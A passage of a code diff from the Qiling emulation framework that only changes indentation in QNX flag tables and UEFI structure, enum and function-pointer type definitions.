a directory + '_IO_CONNECT_EFLAG_DOT' : 0x02, # last component of path is . or .. + '_IO_CONNECT_EFLAG_DOTDOT' : 0x04 # last component is .. } # lib/c/public/sys/mman.h mmap_flags = { - 'MAP_SHARED' : 0x00000001, - 'MAP_PRIVATE' : 0x00000002, - 'MAP_FIXED' : 0x00000010, - 'MAP_ELF' : 0x00000020, - 'MAP_NOSYNCFILE' : 0x00000040, - 'MAP_LAZY' : 0x00000080, - 'MAP_STACK' : 0x00001000, - 'MAP_BELOW' : 0x00002000, - 'MAP_NOINIT' : 0x00004000, - 'MAP_PHYS' : 0x00010000, - 'MAP_NOX64K' : 0x00020000, - 'MAP_BELOW16M' : 0x00040000, - 'MAP_ANON' : 0x00080000, - 'MAP_ANONYMOUS' : 0x00080000, - 'MAP_SYSRAM' : 0x01000000, + 'MAP_SHARED' : 0x00000001, + 'MAP_PRIVATE' : 0x00000002, + 'MAP_FIXED' : 0x00000010, + 'MAP_ELF' : 0x00000020, + 'MAP_NOSYNCFILE' : 0x00000040, + 'MAP_LAZY' : 0x00000080, + 'MAP_STACK' : 0x00001000, + 'MAP_BELOW' : 0x00002000, + 'MAP_NOINIT' : 0x00004000, + 'MAP_PHYS' : 0x00010000, + 'MAP_NOX64K' : 0x00020000, + 'MAP_BELOW16M' : 0x00040000, + 'MAP_ANON' : 0x00080000, + 'MAP_ANONYMOUS' : 0x00080000, + 'MAP_SYSRAM' : 0x01000000, } # lib/c/public/sys/neutrino.h for syscall ChannelCreate(unsigned flags) channel_create_flags = { - '_NTO_CHF_FIXED_PRIORITY' : 0x0001, - '_NTO_CHF_UNBLOCK' : 0x0002, - '_NTO_CHF_THREAD_DEATH' : 0x0004, - '_NTO_CHF_DISCONNECT' : 0x0008, - '_NTO_CHF_NET_MSG' : 0x0010, - '_NTO_CHF_SENDER_LEN' : 0x0020, - '_NTO_CHF_COID_DISCONNECT' : 0x0040, - '_NTO_CHF_REPLY_LEN' : 0x0080, - '_NTO_CHF_STICKY' : 0x0100, - '_NTO_CHF_ASYNC_NONBLOCK' : 0x0200, - '_NTO_CHF_ASYNC' : 0x0400, - '_NTO_CHF_GLOBAL' : 0x0800 + '_NTO_CHF_FIXED_PRIORITY' : 0x0001, + '_NTO_CHF_UNBLOCK' : 0x0002, + '_NTO_CHF_THREAD_DEATH' : 0x0004, + '_NTO_CHF_DISCONNECT' : 0x0008, + '_NTO_CHF_NET_MSG' : 0x0010, + '_NTO_CHF_SENDER_LEN' : 0x0020, + '_NTO_CHF_COID_DISCONNECT' : 0x0040, + '_NTO_CHF_REPLY_LEN' : 0x0080, + '_NTO_CHF_STICKY' : 0x0100, + '_NTO_CHF_ASYNC_NONBLOCK' : 0x0200, + '_NTO_CHF_ASYNC' : 0x0400, + '_NTO_CHF_GLOBAL' : 0x0800 } # lib/c/public/sys/neutrino.h for syscall ConnectAttach(..., int flags) connect_attach_flags = { - '_NTO_COF_CLOEXEC' : 0x0001, # close on exec - '_NTO_COF_DEAD' : 0x0002, - '_NTO_COF_NOSHARE' : 0x0040, - '_NTO_COF_NETCON' : 0x0080, - '_NTO_COF_NONBLOCK' : 0x0100, - '_NTO_COF_ASYNC' : 0x0200, - '_NTO_COF_GLOBAL' : 0x0400 + '_NTO_COF_CLOEXEC' : 0x0001, # close on exec + '_NTO_COF_DEAD' : 0x0002, + '_NTO_COF_NOSHARE' : 0x0040, + '_NTO_COF_NETCON' : 0x0080, + '_NTO_COF_NONBLOCK' : 0x0100, + '_NTO_COF_ASYNC' : 0x0200, + '_NTO_COF_GLOBAL' : 0x0400 } # lib/c/public/sys/stat.h file_access = { - 0o00001 : '_S_INSEM', # semaphore - 0o00002 : '_S_INSHD', # shared data - 0o00003 : '_S_INMQ', # message queue - 0o00004 : '_S_INTMO', # typed memory - 0o40000 : '_S_QNX_SPECIAL' + 0o00001 : '_S_INSEM', # semaphore + 0o00002 : '_S_INSHD', # shared data + 0o00003 : '_S_INMQ', # message queue + 0o00004 : '_S_INTMO', # typed memory + 0o40000 : '_S_QNX_SPECIAL' } # lib/c/public/sys/stat.h file_stats = { - '_S_IFIFO' : 0x1000, # FIFO - '_S_IFCHR' : 0x2000, # Character special - '_S_IFDIR' : 0x4000, # Directory - '_S_IFNAM' : 0x5000, # Named file - '_S_IFBLK' : 0x6000, # Block special - '_S_IFREG' : 0x8000, # Regular - '_S_IFLNK' : 0xa000, # Symlink - '_S_IFSOCK' : 0xc000 # Socket + '_S_IFIFO' : 0x1000, # FIFO + '_S_IFCHR' : 0x2000, # Character special + '_S_IFDIR' : 0x4000, # Directory + '_S_IFNAM' : 0x5000, # Named file + '_S_IFBLK' : 0x6000, # Block special + '_S_IFREG' : 0x8000, # Regular + '_S_IFLNK' : 0xa000, # Symlink + '_S_IFSOCK' : 0xc000 # Socket } # services/system/public/sys/memmsg.h mem_ctrl_subtypes = { - 0 : "MEM_CTRL_UNMAP", - 1 : "MEM_CTRL_PROTECT", - 2 : "MEM_CTRL_SYNC", - 3 : "MEM_CTRL_LOCKALL", - 4 : "MEM_CTRL_UNLOCKALL", - 5 : "MEM_CTRL_LOCK", - 6 : "MEM_CTRL_UNLOCK", - 7 : "MEM_CTRL_ADVISE" + 0 : "MEM_CTRL_UNMAP", + 1 : "MEM_CTRL_PROTECT", + 2 : "MEM_CTRL_SYNC", + 3 : "MEM_CTRL_LOCKALL", + 4 : "MEM_CTRL_UNLOCKALL", + 5 : "MEM_CTRL_LOCK", + 6 : "MEM_CTRL_UNLOCK", + 7 : "MEM_CTRL_ADVISE" } # services/system/public/sys/sysmsg.h sysconf_subtypes = { - 0 : "_SYS_SUB_GET", - 1 : "_SYS_SUB_SET" + 0 : "_SYS_SUB_GET", + 1 : "_SYS_SUB_SET" } diff --git a/qiling/os/uefi/PiMultiPhase.py b/qiling/os/uefi/PiMultiPhase.py index 798705a78..ba9906f96 100644 --- a/qiling/os/uefi/PiMultiPhase.py +++ b/qiling/os/uefi/PiMultiPhase.py @@ -6,29 +6,29 @@ from .UefiBaseType import * from .ProcessorBind import * -EFI_SMRAM_OPEN = 0x00000001 -EFI_SMRAM_CLOSED = 0x00000002 -EFI_SMRAM_LOCKED = 0x00000004 -EFI_CACHEABLE = 0x00000008 -EFI_ALLOCATED = 0x00000010 -EFI_NEEDS_TESTING = 0x00000020 -EFI_NEEDS_ECC_INITIALIZATION = 0x00000040 +EFI_SMRAM_OPEN = 0x00000001 +EFI_SMRAM_CLOSED = 0x00000002 +EFI_SMRAM_LOCKED = 0x00000004 +EFI_CACHEABLE = 0x00000008 +EFI_ALLOCATED = 0x00000010 +EFI_NEEDS_TESTING = 0x00000020 +EFI_NEEDS_ECC_INITIALIZATION = 0x00000040 class EFI_SMRAM_DESCRIPTOR(STRUCT): - _fields_ = [ - ('PhysicalStart', EFI_PHYSICAL_ADDRESS), - ('CpuStart', EFI_PHYSICAL_ADDRESS), - ('PhysicalSize', UINT64), - ('RegionState', UINT64) - ] + _fields_ = [ + ('PhysicalStart', EFI_PHYSICAL_ADDRESS), + ('CpuStart', EFI_PHYSICAL_ADDRESS), + ('PhysicalSize', UINT64), + ('RegionState', UINT64) + ] __all__ = [ - 'EFI_SMRAM_DESCRIPTOR', - 'EFI_SMRAM_OPEN', - 'EFI_SMRAM_CLOSED', - 'EFI_SMRAM_LOCKED', - 'EFI_CACHEABLE', - 'EFI_ALLOCATED', - 'EFI_NEEDS_TESTING', - 'EFI_NEEDS_ECC_INITIALIZATION' + 'EFI_SMRAM_DESCRIPTOR', + 'EFI_SMRAM_OPEN', + 'EFI_SMRAM_CLOSED', + 'EFI_SMRAM_LOCKED', + 'EFI_CACHEABLE', + 'EFI_ALLOCATED', + 'EFI_NEEDS_TESTING', + 'EFI_NEEDS_ECC_INITIALIZATION' ] diff --git a/qiling/os/uefi/ProcessorBind.py b/qiling/os/uefi/ProcessorBind.py index 817be539f..73a6e7bf1 100644 --- a/qiling/os/uefi/ProcessorBind.py +++ b/qiling/os/uefi/ProcessorBind.py @@ -13,19 +13,19 @@ psize = bits // 8 dummy_ptr_type = { - 32 : ctypes.c_uint32, - 64 : ctypes.c_uint64 + 32 : ctypes.c_uint32, + 64 : ctypes.c_uint64 }[bits] _pointer_type_cache: MutableMapping[str, type] = {} def PTR(ptype: Optional[type]) -> type: - pname = 'c_void' if ptype is None else ptype.__name__ + pname = 'c_void' if ptype is None else ptype.__name__ - if pname not in _pointer_type_cache: - _pointer_type_cache[pname] = type(f'LP_{psize}_{pname}', (dummy_ptr_type,), {}) + if pname not in _pointer_type_cache: + _pointer_type_cache[pname] = type(f'LP_{psize}_{pname}', (dummy_ptr_type,), {}) - return _pointer_type_cache[pname] + return _pointer_type_cache[pname] VOID = None INT8 = ctypes.c_int8 @@ -51,111 +51,111 @@ def PTR(ptype: Optional[type]) -> type: PAGE_SIZE = 0x1000 class STRUCT(ctypes.LittleEndianStructure): - """An abstract class for C structures. - """ + """An abstract class for C structures. + """ - # Structures are packed by default; when needed, padding should be added - # manually through placeholder fields - _pack_ = 1 + # Structures are packed by default; when needed, padding should be added + # manually through placeholder fields + _pack_ = 1 - def __init__(self): - pass + def __init__(self): + pass - def saveTo(self, ql: Qiling, address: int) -> None: - """Store self contents to a specified memory address. - """ + def saveTo(self, ql: Qiling, address: int) -> None: + """Store self contents to a specified memory address. + """ - data = bytes(self) + data = bytes(self) - ql.mem.write(address, data) + ql.mem.write(address, data) - @classmethod - def loadFrom(cls, ql: Qiling, address: int) -> 'STRUCT': - """Construct an instance of the structure from saved contents. - """ + @classmethod + def loadFrom(cls, ql: Qiling, address: int) -> 'STRUCT': + """Construct an instance of the structure from saved contents. + """ - data = bytes(ql.mem.read(address, cls.sizeof())) + data = bytes(ql.mem.read(address, cls.sizeof())) - return cls.from_buffer_copy(data) + return cls.from_buffer_copy(data) - @classmethod - @contextmanager - def bindTo(cls, ql: Qiling, address: int): - instance = cls.loadFrom(ql, address) + @classmethod + @contextmanager + def bindTo(cls, ql: Qiling, address: int): + instance = cls.loadFrom(ql, address) - try: - yield instance - finally: - instance.saveTo(ql, address) + try: + yield instance + finally: + instance.saveTo(ql, address) - @classmethod - def sizeof(cls) -> int: - """Get the C structure size in bytes. - """ + @classmethod + def sizeof(cls) -> int: + """Get the C structure size in bytes. + """ - return ctypes.sizeof(cls) + return ctypes.sizeof(cls) - @classmethod - def offsetof(cls, fname: str) -> int: - """Get the offset of a field in the C structure. - """ + @classmethod + def offsetof(cls, fname: str) -> int: + """Get the offset of a field in the C structure. + """ - return getattr(cls, fname).offset + return getattr(cls, fname).offset - @classmethod - def memberat(cls, offset: int) -> Optional[str]: - """Get the member name at a given offset. - """ + @classmethod + def memberat(cls, offset: int) -> Optional[str]: + """Get the member name at a given offset. + """ - return next((fname for fname, *_ in cls._fields_ if cls.offsetof(fname) == offset), None) + return next((fname for fname, *_ in cls._fields_ if cls.offsetof(fname) == offset), None) class EnumMeta(type(ctypes.c_int)): - def __getattr__(self, key): - return self._members_.index(key) + def __getattr__(self, key): + return self._members_.index(key) class ENUM(ctypes.c_int, metaclass=EnumMeta): - """An abstract class for continuous C enums. - """ + """An abstract class for continuous C enums. + """ - # a list or tuple of names (strings) - # names will be enumerate by their corresponding index in the list - _members_: Sequence[str] = [] + # a list or tuple of names (strings) + # names will be enumerate by their corresponding index in the list + _members_: Sequence[str] = [] class EnumUCMeta(type(ctypes.c_int)): - def __getattr__(self, key): - return self._members_[key] + def __getattr__(self, key): + return self._members_[key] class ENUM_UC(ctypes.c_int, metaclass=EnumUCMeta): - """An abstract class for uncontinuous C enums. - """ + """An abstract class for uncontinuous C enums. + """ - # a dictionary of (names : str, value : int) tuples - # names will be enumerate by their paired value - _members_: Mapping[str, int] = {} + # a dictionary of (names : str, value : int) tuples + # names will be enumerate by their paired value + _members_: Mapping[str, int] = {} __all__ = [ - 'VOID', - 'INT8', - 'INT16', - 'INT32', - 'INT64', - 'INTN', - 'UINT8', - 'UINT16', - 'UINT32', - 'UINT64', - 'UINTN', - 'BOOLEAN', - 'CHAR8', - 'CHAR16', - - 'PTR', - 'FUNCPTR', - 'STRUCT', - 'UNION', - 'ENUM', - 'ENUM_UC', - - 'CPU_STACK_ALIGNMENT', - 'PAGE_SIZE' + 'VOID', + 'INT8', + 'INT16', + 'INT32', + 'INT64', + 'INTN', + 'UINT8', + 'UINT16', + 'UINT32', + 'UINT64', + 'UINTN', + 'BOOLEAN', + 'CHAR8', + 'CHAR16', + + 'PTR', + 'FUNCPTR', + 'STRUCT', + 'UNION', + 'ENUM', + 'ENUM_UC', + + 'CPU_STACK_ALIGNMENT', + 'PAGE_SIZE' ] \ No newline at end of file diff --git a/qiling/os/uefi/UefiBaseType.py b/qiling/os/uefi/UefiBaseType.py index 65380bd1c..5f9d87fbe 100644 --- a/qiling/os/uefi/UefiBaseType.py +++ b/qiling/os/uefi/UefiBaseType.py @@ -6,12 +6,12 @@ from qiling.os.uefi.ProcessorBind import * class EFI_GUID(STRUCT): - _fields_ = [ - ('Data1', UINT32), - ('Data2', UINT16), - ('Data3', UINT16), - ('Data4', UINT8 * 8) - ] + _fields_ = [ + ('Data1', UINT32), + ('Data2', UINT16), + ('Data3', UINT16), + ('Data4', UINT8 * 8) + ] EFI_STATUS = UINTN EFI_HANDLE = PTR(VOID) @@ -22,28 +22,28 @@ class EFI_GUID(STRUCT): EFI_VIRTUAL_ADDRESS = UINT64 class EFI_TIME(STRUCT): - _fields_ = [ - ('Year', UINT16), - ('Month', UINT8), - ('Day', UINT8), - ('Hour', UINT8), - ('Minute', UINT8), - ('Second', UINT8), - ('Pad1', UINT8), - ('Nanosecond', UINT32), - ('TimeZone', UINT16), - ('Daylight', UINT8), - ('Pad2', UINT8) - ] + _fields_ = [ + ('Year', UINT16), + ('Month', UINT8), + ('Day', UINT8), + ('Hour', UINT8), + ('Minute', UINT8), + ('Second', UINT8), + ('Pad1', UINT8), + ('Nanosecond', UINT32), + ('TimeZone', UINT16), + ('Daylight', UINT8), + ('Pad2', UINT8) + ] __all__ = [ - 'EFI_GUID', - 'EFI_STATUS', - 'EFI_HANDLE', - 'EFI_EVENT', - 'EFI_TPL', - 'EFI_LBA', - 'EFI_PHYSICAL_ADDRESS', - 'EFI_VIRTUAL_ADDRESS', - 'EFI_TIME' + 'EFI_GUID', + 'EFI_STATUS', + 'EFI_HANDLE', + 'EFI_EVENT', + 'EFI_TPL', + 'EFI_LBA', + 'EFI_PHYSICAL_ADDRESS', + 'EFI_VIRTUAL_ADDRESS', + 'EFI_TIME' ] diff --git a/qiling/os/uefi/UefiMultiPhase.py b/qiling/os/uefi/UefiMultiPhase.py index 01bd0e8ad..7e44b1d92 100644 --- a/qiling/os/uefi/UefiMultiPhase.py +++ b/qiling/os/uefi/UefiMultiPhase.py @@ -7,44 +7,44 @@ # @see: MdePkg\Include\Uefi\UefiMultiPhase.h class EFI_TABLE_HEADER(STRUCT): - _fields_ = [ - ('Signature', UINT64), - ('Revision', UINT32), - ('HeaderSize', UINT32), - ('CRC32', UINT32), - ('Reserved', UINT32) - ] + _fields_ = [ + ('Signature', UINT64), + ('Revision', UINT32), + ('HeaderSize', UINT32), + ('CRC32', UINT32), + ('Reserved', UINT32) + ] class EFI_RESET_TYPE(ENUM): - _members_ = [ - 'EfiResetCold', - 'EfiResetWarm' - 'EfiResetShutdown', - 'EfiResetPlatformSpecific', - ] + _members_ = [ + 'EfiResetCold', + 'EfiResetWarm' + 'EfiResetShutdown', + 'EfiResetPlatformSpecific', + ] class EFI_MEMORY_TYPE(ENUM): - _members_ = [ - 'EfiReservedMemoryType', - 'EfiLoaderCode', - 'EfiLoaderData', - 'EfiBootServicesCode', - 'EfiBootServicesData', - 'EfiRuntimeServicesCode', - 'EfiRuntimeServicesData', - 'EfiConventionalMemory', - 'EfiUnusableMemory', - 'EfiACPIReclaimMemory', - 'EfiACPIMemoryNVS', - 'EfiMemoryMappedIO', - 'EfiMemoryMappedIOPortSpace', - 'EfiPalCode', - 'EfiPersistentMemory', - 'EfiMaxMemoryType' - ] + _members_ = [ + 'EfiReservedMemoryType', + 'EfiLoaderCode', + 'EfiLoaderData', + 'EfiBootServicesCode', + 'EfiBootServicesData', + 'EfiRuntimeServicesCode', + 'EfiRuntimeServicesData', + 'EfiConventionalMemory', + 'EfiUnusableMemory', + 'EfiACPIReclaimMemory', + 'EfiACPIMemoryNVS', + 'EfiMemoryMappedIO', + 'EfiMemoryMappedIOPortSpace', + 'EfiPalCode', + 'EfiPersistentMemory', + 'EfiMaxMemoryType' + ] __all__ = [ - 'EFI_TABLE_HEADER', - 'EFI_RESET_TYPE', - 'EFI_MEMORY_TYPE' + 'EFI_TABLE_HEADER', + 'EFI_RESET_TYPE', + 'EFI_MEMORY_TYPE' ] \ No newline at end of file diff --git a/qiling/os/uefi/UefiSpec.py b/qiling/os/uefi/UefiSpec.py index 6e9e85e66..7c236d0ab 100644 --- a/qiling/os/uefi/UefiSpec.py +++ b/qiling/os/uefi/UefiSpec.py @@ -12,216 +12,216 @@ # definitions for EFI_TIME.Daylight EFI_TIME_ADJUST_DAYLIGHT = (1 << 1) -EFI_TIME_IN_DAYLIGHT = (1 << 2) +EFI_TIME_IN_DAYLIGHT = (1 << 2) # definition for EFI_TIME.TimeZone EFI_UNSPECIFIED_TIMEZONE = 0x07ff class EFI_ALLOCATE_TYPE(ENUM): - _members_ = [ - 'AllocateAnyPages', - 'AllocateMaxAddress', - 'AllocateAddress', - 'MaxAllocateType' - ] + _members_ = [ + 'AllocateAnyPages', + 'AllocateMaxAddress', + 'AllocateAddress', + 'MaxAllocateType' + ] class EFI_TIMER_DELAY(ENUM): - _members_ = [ - 'TimerCancel', - 'TimerPeriodic', - 'TimerRelative' - ] + _members_ = [ + 'TimerCancel', + 'TimerPeriodic', + 'TimerRelative' + ] class EFI_INTERFACE_TYPE(ENUM): - _members_ = [ - 'EFI_NATIVE_INTERFACE' - ] + _members_ = [ + 'EFI_NATIVE_INTERFACE' + ] class EFI_LOCATE_SEARCH_TYPE(ENUM): - _members_ = [ - 'AllHandles', - 'ByRegisterNotify', - 'ByProtocol' + _members_ = [ + 'AllHandles', + 'ByRegisterNotify', + 'ByProtocol' ] class EFI_TIME_CAPABILITIES(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('Resolution', UINT32), - ('Accuracy', UINT32), - ('SetsToZero', BOOLEAN), - ] + _fields_ = [ + ('Resolution', UINT32), + ('Accuracy', UINT32), + ('SetsToZero', BOOLEAN), + ] class EFI_MEMORY_DESCRIPTOR(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('Type', UINT32), - ('PhysicalStart', EFI_PHYSICAL_ADDRESS), - ('VirtualStart', EFI_VIRTUAL_ADDRESS), - ('NumberOfPages', UINT64), - ('Attribute', UINT64) - ] + _fields_ = [ + ('Type', UINT32), + ('PhysicalStart', EFI_PHYSICAL_ADDRESS), + ('VirtualStart', EFI_VIRTUAL_ADDRESS), + ('NumberOfPages', UINT64), + ('Attribute', UINT64) + ] class EFI_CAPSULE_HEADER(STRUCT): - _fields_ = [ - ('CapsuleGuid', EFI_GUID), - ('HeaderSize', UINT32), - ('Flags', UINT32), - ('CapsuleImageSize', UINT32) - ] + _fields_ = [ + ('CapsuleGuid', EFI_GUID), + ('HeaderSize', UINT32), + ('Flags', UINT32), + ('CapsuleImageSize', UINT32) + ] -EFI_GET_TIME = FUNCPTR(EFI_STATUS, PTR(EFI_TIME), PTR(EFI_TIME_CAPABILITIES)) -EFI_SET_TIME = FUNCPTR(EFI_STATUS, PTR(EFI_TIME)) -EFI_GET_WAKEUP_TIME = FUNCPTR(EFI_STATUS, PTR(BOOLEAN), PTR(BOOLEAN), PTR(EFI_TIME)) -EFI_SET_WAKEUP_TIME = FUNCPTR(EFI_STATUS, BOOLEAN, PTR(EFI_TIME)) -EFI_SET_VIRTUAL_ADDRESS_MAP = FUNCPTR(EFI_STATUS, UINTN, UINTN, UINT32, PTR(EFI_MEMORY_DESCRIPTOR)) -EFI_CONVERT_POINTER = FUNCPTR(EFI_STATUS, UINTN, PTR(PTR(VOID))) -EFI_GET_VARIABLE = FUNCPTR(EFI_STATUS, PTR(CHAR16), PTR(EFI_GUID), PTR(UINT32), PTR(UINTN), PTR(VOID)) -EFI_GET_NEXT_VARIABLE_NAME = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(CHAR16), PTR(EFI_GUID)) -EFI_SET_VARIABLE = FUNCPTR(EFI_STATUS, PTR(CHAR16), PTR(EFI_GUID), UINT32, UINTN, PTR(VOID)) -EFI_GET_NEXT_HIGH_MONO_COUNT = FUNCPTR(EFI_STATUS, PTR(UINT32)) -EFI_RESET_SYSTEM = FUNCPTR(VOID, EFI_RESET_TYPE, EFI_STATUS, UINTN, PTR(VOID)) -EFI_UPDATE_CAPSULE = FUNCPTR(EFI_STATUS, PTR(PTR(EFI_CAPSULE_HEADER)), UINTN, EFI_PHYSICAL_ADDRESS) -EFI_QUERY_CAPSULE_CAPABILITIES = FUNCPTR(EFI_STATUS, PTR(PTR(EFI_CAPSULE_HEADER)), UINTN, PTR(UINT64), PTR(EFI_RESET_TYPE)) -EFI_QUERY_VARIABLE_INFO = FUNCPTR(EFI_STATUS, UINT32, PTR(UINT64), PTR(UINT64), PTR(UINT64)) +EFI_GET_TIME = FUNCPTR(EFI_STATUS, PTR(EFI_TIME), PTR(EFI_TIME_CAPABILITIES)) +EFI_SET_TIME = FUNCPTR(EFI_STATUS, PTR(EFI_TIME)) +EFI_GET_WAKEUP_TIME = FUNCPTR(EFI_STATUS, PTR(BOOLEAN), PTR(BOOLEAN), PTR(EFI_TIME)) +EFI_SET_WAKEUP_TIME = FUNCPTR(EFI_STATUS, BOOLEAN, PTR(EFI_TIME)) +EFI_SET_VIRTUAL_ADDRESS_MAP = FUNCPTR(EFI_STATUS, UINTN, UINTN, UINT32, PTR(EFI_MEMORY_DESCRIPTOR)) +EFI_CONVERT_POINTER = FUNCPTR(EFI_STATUS, UINTN, PTR(PTR(VOID))) +EFI_GET_VARIABLE = FUNCPTR(EFI_STATUS, PTR(CHAR16), PTR(EFI_GUID), PTR(UINT32), PTR(UINTN), PTR(VOID)) +EFI_GET_NEXT_VARIABLE_NAME = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(CHAR16), PTR(EFI_GUID)) +EFI_SET_VARIABLE = FUNCPTR(EFI_STATUS, PTR(CHAR16), PTR(EFI_GUID), UINT32, UINTN, PTR(VOID)) +EFI_GET_NEXT_HIGH_MONO_COUNT = FUNCPTR(EFI_STATUS, PTR(UINT32)) +EFI_RESET_SYSTEM = FUNCPTR(VOID, EFI_RESET_TYPE, EFI_STATUS, UINTN, PTR(VOID)) +EFI_UPDATE_CAPSULE = FUNCPTR(EFI_STATUS, PTR(PTR(EFI_CAPSULE_HEADER)), UINTN, EFI_PHYSICAL_ADDRESS) +EFI_QUERY_CAPSULE_CAPABILITIES = FUNCPTR(EFI_STATUS, PTR(PTR(EFI_CAPSULE_HEADER)), UINTN, PTR(UINT64), PTR(EFI_RESET_TYPE)) +EFI_QUERY_VARIABLE_INFO = FUNCPTR(EFI_STATUS, UINT32, PTR(UINT64), PTR(UINT64), PTR(UINT64)) class EFI_RUNTIME_SERVICES(STRUCT): - _fields_ = [ - ('Hdr', EFI_TABLE_HEADER), - ('GetTime', EFI_GET_TIME), - ('SetTime', EFI_SET_TIME), - ('GetWakeupTime', EFI_GET_WAKEUP_TIME), - ('SetWakeupTime', EFI_SET_WAKEUP_TIME), - ('SetVirtualAddressMap', EFI_SET_VIRTUAL_ADDRESS_MAP), - ('ConvertPointer', EFI_CONVERT_POINTER), - ('GetVariable', EFI_GET_VARIABLE), - ('GetNextVariableName', EFI_GET_NEXT_VARIABLE_NAME), - ('SetVariable', EFI_SET_VARIABLE), - ('GetNextHighMonotonicCount', EFI_GET_NEXT_HIGH_MONO_COUNT), - ('ResetSystem', EFI_RESET_SYSTEM), - ('UpdateCapsule', EFI_UPDATE_CAPSULE), - ('QueryCapsuleCapabilities', EFI_QUERY_CAPSULE_CAPABILITIES), - ('QueryVariableInfo', EFI_QUERY_VARIABLE_INFO) - ] + _fields_ = [ + ('Hdr', EFI_TABLE_HEADER), + ('GetTime', EFI_GET_TIME), + ('SetTime', EFI_SET_TIME), + ('GetWakeupTime', EFI_GET_WAKEUP_TIME), + ('SetWakeupTime', EFI_SET_WAKEUP_TIME), + ('SetVirtualAddressMap', EFI_SET_VIRTUAL_ADDRESS_MAP), + ('ConvertPointer', EFI_CONVERT_POINTER), + ('GetVariable', EFI_GET_VARIABLE), + ('GetNextVariableName', EFI_GET_NEXT_VARIABLE_NAME), + ('SetVariable', EFI_SET_VARIABLE), + ('GetNextHighMonotonicCount', EFI_GET_NEXT_HIGH_MONO_COUNT), + ('ResetSystem', EFI_RESET_SYSTEM), + ('UpdateCapsule', EFI_UPDATE_CAPSULE), + ('QueryCapsuleCapabilities', EFI_QUERY_CAPSULE_CAPABILITIES), + ('QueryVariableInfo', EFI_QUERY_VARIABLE_INFO) + ] EFI_EVENT_NOTIFY = FUNCPTR(VOID, EFI_EVENT, PTR(VOID)) # this one belongs to another header, actually class EFI_DEVICE_PATH_PROTOCOL(STRUCT): - _fields_ = [ - ('Type', UINT8), - ('SubType', UINT8), - ('Length', UINT8 * 2) - ] + _fields_ = [ + ('Type', UINT8), + ('SubType', UINT8), + ('Length', UINT8 * 2) + ] class EFI_OPEN_PROTOCOL_INFORMATION_ENTRY(STRUCT): - _fields_ = [ - ('AgentHandle', EFI_HANDLE), - ('ControllerHandle',EFI_HANDLE), - ('Attributes', UINT32), - ('OpenCount', UINT32) - ] + _fields_ = [ + ('AgentHandle', EFI_HANDLE), + ('ControllerHandle',EFI_HANDLE), + ('Attributes', UINT32), + ('OpenCount', UINT32) + ] -EFI_RAISE_TPL = FUNCPTR(EFI_TPL, EFI_TPL) -EFI_RESTORE_TPL = FUNCPTR(VOID, EFI_TPL) -EFI_ALLOCATE_PAGES = FUNCPTR(EFI_STATUS, EFI_ALLOCATE_TYPE, EFI_MEMORY_TYPE, UINTN, PTR(EFI_PHYSICAL_ADDRESS)) -EFI_FREE_PAGES = FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINTN) -EFI_GET_MEMORY_MAP = FUNCPTR(EFI_STATUS, PTR(UINTN), PTR(EFI_MEMORY_DESCRIPTOR), PTR(UINTN), PTR(UINTN), PTR(UINT32)) -EFI_ALLOCATE_POOL = FUNCPTR(EFI_STATUS, EFI_MEMORY_TYPE, UINTN, PTR(PTR(VOID))) -EFI_FREE_POOL = FUNCPTR(EFI_STATUS, PTR(VOID)) -EFI_CREATE_EVENT = FUNCPTR(EFI_STATUS, UINT32, EFI_TPL, EFI_EVENT_NOTIFY, PTR(VOID), PTR(EFI_EVENT)) -EFI_SET_TIMER = FUNCPTR(EFI_STATUS, EFI_EVENT, EFI_TIMER_DELAY, UINT64) -EFI_WAIT_FOR_EVENT = FUNCPTR(EFI_STATUS, UINTN, PTR(EFI_EVENT), PTR(UINTN)) -EFI_SIGNAL_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) -EFI_CLOSE_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) -EFI_CHECK_EVENT = FUNCPTR(EFI_STATUS, EFI_EVENT) -EFI_INSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE), PTR(EFI_GUID), EFI_INTERFACE_TYPE, PTR(VOID)) -EFI_REINSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(VOID), PTR(VOID)) -EFI_UNINSTALL_PROTOCOL_INTERFACE = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(VOID)) -EFI_HANDLE_PROTOCOL = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_GUID), PTR(PTR(VOID))) -EFI_REGISTER_PROTOCOL_NOTIFY = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), EFI_EVENT, PTR(PTR(VOID))) -EFI_LOCATE_HANDLE = FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(EFI_HANDLE)) -EFI_LOCATE_DEVICE_PATH = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(PTR(EFI_DEVICE_PATH_PROTOCOL)), PTR(EFI_HANDLE)) -EFI_INSTALL_CONFIGURATION_TABLE = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID)) -EFI_IMAGE_LOAD = FUNCPTR(EFI_STATUS, BOOLEAN, EFI_HANDLE, PTR(EFI_DEVICE_PATH_PROTOCOL), PTR(VOID) , UINTN, PTR(EFI_HANDLE)) -EFI_IMAGE_START = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(UINTN), PTR(PTR(CHAR16))) -EFI_EXIT = FUNCPTR(EFI_STATUS, EFI_HANDLE, EFI_STATUS, UINTN, PTR(CHAR16)) -EFI_IMAGE_UNLOAD = FUNCPTR(EFI_STATUS, EFI_HANDLE) -EFI_EXIT_BOOT_SERVICES = FUNCPTR(EFI_STATUS, EFI_HANDLE, UINTN) -EFI_GET_NEXT_MONOTONIC_COUNT = FUNCPTR(EFI_STATUS, PTR(UINT64)) -EFI_STALL = FUNCPTR(EFI_STATUS, UINTN) -EFI_SET_WATCHDOG_TIMER = FUNCPTR(EFI_STATUS, UINTN, UINT64, UINTN, PTR(CHAR16)) -EFI_CONNECT_CONTROLLER = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(EFI_HANDLE), 